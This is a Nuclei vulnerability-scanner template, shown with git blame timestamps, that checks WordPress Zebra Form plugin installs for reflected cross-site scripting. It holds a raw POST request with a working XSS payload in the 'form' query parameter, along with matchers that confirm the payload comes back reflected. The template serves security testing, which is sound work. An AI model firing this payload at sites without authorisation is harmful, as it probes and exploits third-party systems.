nuclei-templates/vulnerabilities/wordpress/wordpress-zebra-form-xss.yaml

38 lines
1.2 KiB
YAML
Raw Normal View History

2021-02-15 18:58:11 +00:00
id: wordpress-zebra-form-xss
2021-02-15 10:43:31 +00:00
info:
2021-02-15 18:58:11 +00:00
name: Wordpress Zebra Form XSS
2021-02-15 10:43:31 +00:00
author: madrobot
severity: medium
reference: https://blog.wpscan.com/2021/02/15/zebra-form-xss-wordpress-vulnerability-affects-multiple-plugins.html
tags: wordpress,xss
requests:
- raw:
- |
POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(/XSS-form/)%3E&control=upload HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074
Origin: null
-----------------------------77916619616724262872902741074
Content-Disposition: form-data; name="upload"; filename="{{randstr}}.txt"
2021-02-15 10:43:31 +00:00
Content-Type: text/plain
Test
-----------------------------77916619616724262872902741074--
matchers-condition: and
matchers:
- type: word
2021-02-15 12:23:52 +00:00
words:
2021-02-15 10:43:31 +00:00
- "</script><img src onerror=alert(/XSS-form/)>"
part: body
- type: status
status:
- 200
2021-02-15 18:58:11 +00:00
- type: word
words:
- "text/html"
part: header